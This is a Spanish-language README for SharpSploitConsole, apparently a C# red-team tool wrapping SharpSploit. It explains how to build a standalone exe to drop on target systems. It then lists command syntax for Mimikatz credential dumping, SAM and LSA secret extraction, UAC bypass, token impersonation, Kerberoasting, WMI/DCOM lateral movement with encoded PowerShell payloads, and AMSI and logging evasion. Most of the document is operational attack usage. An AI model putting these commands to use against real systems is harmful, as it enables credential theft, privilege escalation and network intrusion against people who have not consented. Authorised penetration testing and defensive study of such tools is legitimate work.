
Aplicación de consola en C# para operaciones de post-explotación y red team, integrando SharpSploit para ejecutar comandos Mimikatz, realizar Kerberoasting, eludir UAC, volcar credenciales y moverse lateralmente a través de WMI/DCOM.
Aplicación de consola diseñada para interactuar con SharpSploit lanzado por @cobbr_io > https://github.com/cobbr/SharpSploit
SharpSploit es una herramienta escrita por @cobbr_io que combina muchas técnicas/código C# de la comunidad de seguridad informática y las combina en una única DLL. ¡Es increíble, así que échale un vistazo!
SharpSploit Console es solo un binario rápido de prueba de concepto para ayudar a los probadores de penetración o equipos rojos con menos experiencia en C# a jugar con parte de la genialidad que es SharpSploit. Siguiendo las instrucciones a continuación, deberías poder incrustar tanto SharpSploit.dll como System.Management.Automation.dll en el binario SharpSploitConsole, creando un exe independiente que puedes dejar caer en un sistema objetivo adecuado y ejecutar a través de un shell no interactivo (como beacon).
Este concepto se puede aplicar a muchos binarios C#. Por ejemplo, podríamos incrustar System.Management.Automation.dll en nuestro NoPowershell.exe favorito de C#, creando un binario que no dependa de System.Management.Automation.dll en el sistema objetivo.
Por último, soy consciente de que probablemente hay miles de formas de hacer esto mejor, más rápido, más cool, más sigiloso, etc. Así que siéntete libre de decírmelo... de manera amable. :) También planeo agregar más módulos y mejorar otros.
Contacto en:
Antes de enviar problemas, esta herramienta puede no actualizarse activamente siempre. Te animo a tomar prestado, agregar, modificar y/o crear la tuya propia. Recuerda, todo el increíble código que hay (y hay mucho) se puede tomar/modificar para crear tus propias herramientas personalizadas.
Nota: Usé Windows 10, Visual Studio 2017 - el resultado puede variar
Descarga la herramienta SharpSploit desde https://github.com/cobbr/SharpSploit.git
Abre SharpSploit.sln en Visual Studio y compila (asegúrate de compilar para la arquitectura correcta) - Deberías ver un desplegable con Any CPU > Haz clic en él y abre el Administrador de configuración > en plataforma cambia a la arquitectura deseada y selecciona ok.
Descarga la herramienta SharpSploitConsole y abre SharpSploitConsole.sln
Copia tanto SharpSploit.dll como System.Management.Automation.dll que se encuentran en el directorio SharpSploit/bin/x64/Debug en la carpeta SharpSploitConsole/bin/x64/Debug
A continuación, configuraremos Visual Studio para incrustar nuestras DLL en nuestro exe para que tengamos un solo binario que podamos ejecutar en nuestra máquina objetivo. Haremos esto de la siguiente manera:
En Visual Studio:
a. Tools > NuGet Package Manager > Package Manager Console
b. Dentro de la consola ejecuta:
Install-Package Costura.Fody
c. Abre el Bloc de notas y pega el siguiente código a continuación y guárdalo con el nombre FodyWeavers.xml dentro del directorio SharpSploitConsole que contiene tus carpetas bin, obj, properties.
<?xml version="1.0" encoding="utf-8"?>
<Weavers>
<Costura />
</Weavers>
6. Dentro de Visual Studio, haz clic derecho en References en el lado derecho, elige Add Reference, luego busca el directorio SharpSploitConsole/bin/x64/Debug donde colocamos nuestras dos DLL, selecciónalas y agrégalas.
Nota: Todos los comandos no distinguen entre mayúsculas y minúsculas
Por defecto, todos los comandos se pueden tomar como argumentos de línea de comandos, se ejecutarán y el programa finalizará (ideal para shells remotos). Esto se ve algo así: sharpSploitConsole.exe getSystem logonPasswords. Alternativamente, si deseas usar el modo de consola interactiva, puedes usar el comando interact para obtener un shell pseudo-interactivo.
Inicia el modo de consola interactiva:
Interact
Mimikatz para todo (no ejecuta DCSync) - requiere administrador o sistema:
Mimi-All
Ejecuta un comando específico de Mimikatz de tu elección - requiere administrador o sistema:
Mimi-Command privilege::debug sekurlsa::logonPasswords
Ejecuta el comando Mimikatz privilege::debug sekurlsa::logonPasswords - requiere administrador o sistema:
logonPasswords
Ejecuta el comando Mimikatz para recuperar hashes de Credenciales en Caché de Dominio del registro - requiere administrador o sistema:
LsaCache
Ejecuta el comando Mimikatz para recuperar secretos LSA almacenados en el registro - requiere administrador o sistema:
LsaSecrets
Recupera hashes de contraseñas de la base de datos SAM - requiere administrador o sistema:
SamDump
Recupera credenciales Wdigest del registro - requiere administrador o sistema:
Wdigest
Recupera el usuario actual:
whoami
Username
Suplanta al usuario sistema - requiere derechos de administrador:
GetSystem
Suplanta al usuario sistema - Suplanta el token de un proceso especificado, requiere pid - el comando requiere derechos de administrador:
Impersonate 2918
Bypass UAC - requiere binario | comando | ruta al binario - requiere derechos de administrador:
BypassUAC cmd.exe ipconfig C:\Windows\System32\
BypassUAC cmd.exe "" C:\Windows\System32\
Termina la suplantación de cualquier token, revierte al token inicial asociado con el proceso actual:
RevertToSelf
Recupera el directorio de trabajo actual:
CurrentDirectory
Recupera el listado del directorio actual:
DirectoryListing
Cambia el directorio actual agregando una cadena especificada al directorio de trabajo actual:
ChangeDirectory SomeFolder
Recupera el nombre del host:
Hostname
Recupera la lista de procesos en ejecución:
ProcessList
Crea un minidump de la memoria de un proceso en ejecución, requiere PID | ubicación de salida | nombre de salida - requiere administrador:
ProcDump 2198 C:\Users\Username\Desktop memorydump.dmp
Recupera el valor de una ruta de registro, requiere el argumento de ruta completa:
ReadRegistry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\BuildNumber
Escribe en el registro, requiere el argumento de ruta completa y el argumento de valor:
WriteRegistry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\RemoteAccessEnabled 1
Recupera usuarios de un grupo local de forma remota, requiere nombre_computadora | nombre_grupo | usuario | contraseña:
NetLocalGroupMembers computerName Administrators domain\username P@55w0rd!
NetLocalGroupMembers 192.168.1.20 Administrators .\username P@55w0rd!
Recupera grupos locales de forma remota, requiere nombre_computadora | usuario | contraseña:
NetLocalGroups computerName domain\username P@55w0rd!
NetLocalGroups 192.168.1.20 .\username P@55w0rd!
Recupera usuarios con sesión iniciada actualmente de forma remota, requiere nombre_computadora | usuario | contraseña:
NetLoggedOnUsers computerName domain\username P@55w0rd!
NetLoggedOnUsers 192.168.1.20 .\username P@55w0rd!
Recupera sesiones de usuario de forma remota, requiere nombre_computadora | usuario | contraseña:
NetSessions computerName domain\username P@55w0rd!
NetSessions 192.168.1.20 .\username P@55w0rd!
Ping a sistemas, requiere nombres de computadoras:
Ping computer1 computer2 computer3 computer4
Escaneo de puertos en sistemas, requiere nombre_computadora | puertos:
PortScan computer1 80 443 445 22 23
Obtiene usuarios del dominio, captura objetos de usuario especificados (o todos) en el dominio objetivo, por defecto usará el contexto del usuario actual. Argumentos opcionales: -username -password -domain -server -searchbase -searchstring -target:
GetDomainUsers
Obtiene grupos del dominio, captura objetos de grupo especificados (o todos) en el dominio objetivo, por defecto usará el contexto del usuario actual. Argumentos opcionales: -username -password -domain -server -searchbase -searchstring -target:
GetDomainGroups
GetDomainGroups -target "Domain Admins"
Obtiene computadoras del dominio, captura objetos de computadora especificados (o todos) en el dominio objetivo, por defecto usará el contexto del usuario actual. Argumentos opcionales: -username -password -domain -server -searchbase -searchstring -target:
GetDomainComputers
Realiza Kerberoasting, ejecuta un ataque de kerberoasting contra objetos de usuario objetivo (o todos) en el dominio objetivo, por defecto usará el contexto del usuario actual. Argumentos opcionales: -username -password -domain -server -searchbase -searchstring -target
Kerberoast
Kerberoast -username bob -password Password1 -domain test.corp -server 192.168.1.10 -target sqlService
Ejecuta comando de forma remota a través de WMI, requiere nombre_computadora | usuario | contraseña | comando - requiere administrador:
WMI computer1 domain\username P@55w0rd! <entire powershell empire payload>
WMI computer1 .\username P@55w0rd! powershell -noP -sta -w 1 -enc <Base64>
Ejecuta comando de forma remota a través de DCOM, requiere nombre_computadora | comando | directorio | parámetros - requiere administrador:
DCOM computer1 cmd.exe c:\Windows\System32 powershell -noP -sta -w 1 -enc <Base64>
Ejecuta un comando de shell:
Shell ipconfig /all
Ejecuta un comando de powershell intentando evitar AMSI, el registro de scriptBlock y el registro de módulos:
Powershell -noP -sta -w 1 -enc <Base64>